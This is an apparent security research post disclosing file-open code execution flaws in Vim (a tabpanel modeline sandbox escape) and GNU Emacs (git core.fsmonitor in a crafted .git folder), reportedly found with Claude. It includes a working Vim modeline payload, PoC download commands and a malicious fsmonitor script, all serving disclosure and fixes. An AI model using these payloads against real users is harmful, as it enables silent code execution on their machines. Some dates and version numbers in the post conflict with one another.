vim vs emacs vs Claude
We asked Claude to find a bug in Vim. It found an RCE. Just open a file, and you’re owned. We joked: fine, we’ll switch to Emacs. Then Claude found an RCE there too.
Summary
Opening a file in GNU Emacs can trigger arbitrary code execution through version control (git), most requiring zero user interaction beyond the file open itself. The most severe finding requires no file-local variables at all - simply opening any file inside a directory containing a crafted .git/ folder executes attacker-controlled commands.
Date: 2026-03-29 Tested on:
- GNU Emacs 31.0.50 (master branch, commit 0c961b7778a)
- GNU Emacs 30.2 (build 1, aarch64-apple-darwin23.2.0, NS appkit-2487.30 Version 14.2 (Build 23C64))
Vim tabpanel modeline RCE affects Vim < 9.2.0272
Summary
A two-bug chain in Vim allows arbitrary command execution when a user opens a crafted file. The tabpanel option can be set from a modeline without requiring modelineexpr, and its expression is later evaluated in the sandbox. That sandbox can be escaped because autocmd_add() does not check whether it is running in a secure context, allowing deferred execution outside the sandbox.
Technical Details
The issue depends on two flaws:
tabpanelis missingP_MLEUnlikestatuslineandtabline,tabpanelis not marked with theP_MLEflag. This allows a modeline to inject%{...}expressions even whenmodelineexpris disabled.autocmd_add()lackscheck_secure()Vim evaluates insecuretabpanelexpressions in the sandbox, butautocmd_add()can still register autocommands there. Those autocommands execute later, after the sandbox exits.
A modeline can therefore:
- force the tab panel visible with
showtabpanel=2 - inject a
tabpanelexpression - call
autocmd_add()inside the sandbox - register a
SafeStateAgainautocommand - execute an arbitrary shell command once Vim returns to normal context
This yields code execution as the user running Vim.
Steps to Reproduce
This advisory itself is a PoC:
vim -version
# VIM - Vi IMproved 9.2 (2026 Feb 14, compiled Mar 25 2026 22:04:13)
wget https://raw.githubusercontent.com/califio/publications/refs/heads/main/MADBugs/vim-vs-emacs-vs-claude/vim.md
vim vim.md
cat /tmp/calif-vim-rce-poc
Recommendations
Upgrade to Vim v9.2.0172.
Credits
Hung Nguyen (movrment) from Calif.io
Disclosure Timeline
- 2026-03-28: Vulnerabilities discovered using Claude
- 2026-03-29: Reported to vim-security@googlegroups.com
- 2026-03-30: Fix released https://github.com/vim/vim/security/advisories/GHSA-2gmj-rpqf-pxvh
- 2026-03-03: Public disclosure made
/ vim: set showtabpanel=2 tabpanel=%{%autocmd_add([{'event'\:'SafeStateAgain','pattern'\:'','cmd'\:'!id>/tmp/calif-vim-rce-poc','once'\:1}])%}: */
GNU Emacs: Multiple Remote Code Execution Vectors on File Open
Summary
Opening a file in GNU Emacs can trigger arbitrary code execution through version control (git), most requiring zero user interaction beyond the file open itself. The most severe finding requires no file-local variables at all - simply opening any file inside a directory containing a crafted .git/ folder executes attacker-controlled commands.
Date: 2026-03-29 Tested on:
- GNU Emacs 31.0.50 (master branch, commit 0c961b7778a)
- GNU Emacs 30.2 (build 1, aarch64-apple-darwin23.2.0, NS appkit-2487.30 Version 14.2 (Build 23C64))
Technical Details
vc-refresh-state is unconditionally registered in find-file-hook (vc-hooks.el:1005). When any file is opened, Emacs checks whether it resides in a version-controlled directory. For git repositories, this executes git ls-files (vc-git.el:312) and git status (vc-git.el:411) via process-file.
Git reads .git/config before executing any command. The core.fsmonitor option instructs git to execute an arbitrary program to query file-system changes. This program runs as the user, with no sandboxing.
Attack Scenario
An attacker distributes an archive (zip, tarball) containing a hidden .git folder:
project/
.git/
config ← core.fsmonitor = .git/hooks/payload
hooks/payload ← #!/bin/sh <arbitrary commands>
HEAD, objects/, refs/ ← minimal valid repo structure
README.txt ← completely normal plain text
The victim extracts the archive and opens README.txt in Emacs. The file itself contains no local variables, no eval forms, no mode specifications - it is pure plain text. The attack is entirely in the hidden .git/ directory.
Code Path
find-file "README.txt"
│
│ files.el:2802 find-file-noselect-1 → after-find-file
│ files.el:2976 (run-hooks 'find-file-hook)
│
▼
vc-hooks.el:1005 (add-hook 'find-file-hook #'vc-refresh-state) ← ALWAYS REGISTERED
│
▼
vc-hooks.el:950 vc-refresh-state: (when buffer-file-name ...) ← any file with a name
│
├─vc-hooks.el:957 (vc-backend buffer-file-name)
│ │
│ └─vc-hooks.el:450 (vc-registered file)
│ │
│ └─vc-hooks.el:417 (mapc (lambda (b) (vc-call-backend b 'registered file))
│ │ vc-handled-backends)
│ │ tries: Git, Hg, SVN, RCS, CVS, SCCS, SRC, Bzr
│ │
│ └─vc-git.el:292 vc-git-registered(file)
│ │
│ ├─vc-git.el:294 (vc-git-root file)
│ │ └─vc-git.el:2553 (vc-find-root file ".git")
│ │
│ ├─vc-git.el:302 (executable-find "git" t) ← git binary exists?
│ │
│ └─vc-git.el:312 (vc-git--out-ok "ls-files" "-c" "-z" "--" name)
│ └─vc-git.el:2978 (vc-git--call nil '(t nil) "ls-files" ...)
│ └─vc-git.el:2972 (process-file "git" nil (t nil) nil
│ "--no-pager" "ls-files" "-c" "-z" "--" "README.txt")
│
│ git reads project/.git/config ← ATTACKER CONTROLLED
│ sees: core.fsmonitor = .git/hooks/payload
| => EXECUTES .git/hooks/payload
Steps to Reproduce
Verified on Emacs 31.0.50, git 2.39.5:
wget https://github.com/califio/publications/raw/refs/heads/main/MADBugs/vim-vs-emacs-vs-claude/emacs-poc.tgz
tar -xzpvf emacs-poc.tgz
emacs emacs-poc/a.txt
cat /tmp/pwned
File contents:
#.git/config
[core]
...
fsmonitor = .git/a
#.git/a
#!/bin/sh
echo pwned:$(date)>>/tmp/pwned
Impact
- Full arbitrary command execution as the Emacs user
- No Emacs prompt or confirmation dialog
- No file-local variables or eval forms needed
- Works with default Emacs configuration
- Attack vector: archives, shared drives, email attachments
- The
.git/directory is hidden by default on Unix systems
Proposed Fix
Recommended: Pass -c overrides in vc-git--call for all options that can be neutralized by name.
// lisp/vc/vc-git.el
2972 (apply #'process-file vc-git-program infile buffer nil
2973 - "--no-pager" command args)))
2973 + "--no-pager"
2974 + "-c" "core.fsmonitor=false"
2975 + command args)))
This was tested and confirmed to block core.fsmonitor.
Disclosure Timeline
- 2026-03-28: Vulnerability identified using Claude
- 2026-03-28: Reported to GNU Emacs maintainers via email
- 2026-03-30: Maintainers declined to address the issue, attributing it to Git
- 2026-03-30: Public disclosure made
Credits
Hung Nguyen (movrment) from Calif.io
References
- [Git honours embedded bare repos, and exploitation via core.fsmonitor in a directory's .git/config affects IDEs, shell prompts and Git pillagers
](https://github.com/justinsteven/advisories/blob/main/2022_git_buried_bare_repos_and_fsmonitor_various_abuses.md)
About Calif
We push offensive security research to its limits, understand what is becoming possible with AI, and use those insights to help our customers defend themselves.
Get in touch, and subscribe to our newsletter for more research like this:
Check your inbox to confirm.
Related research


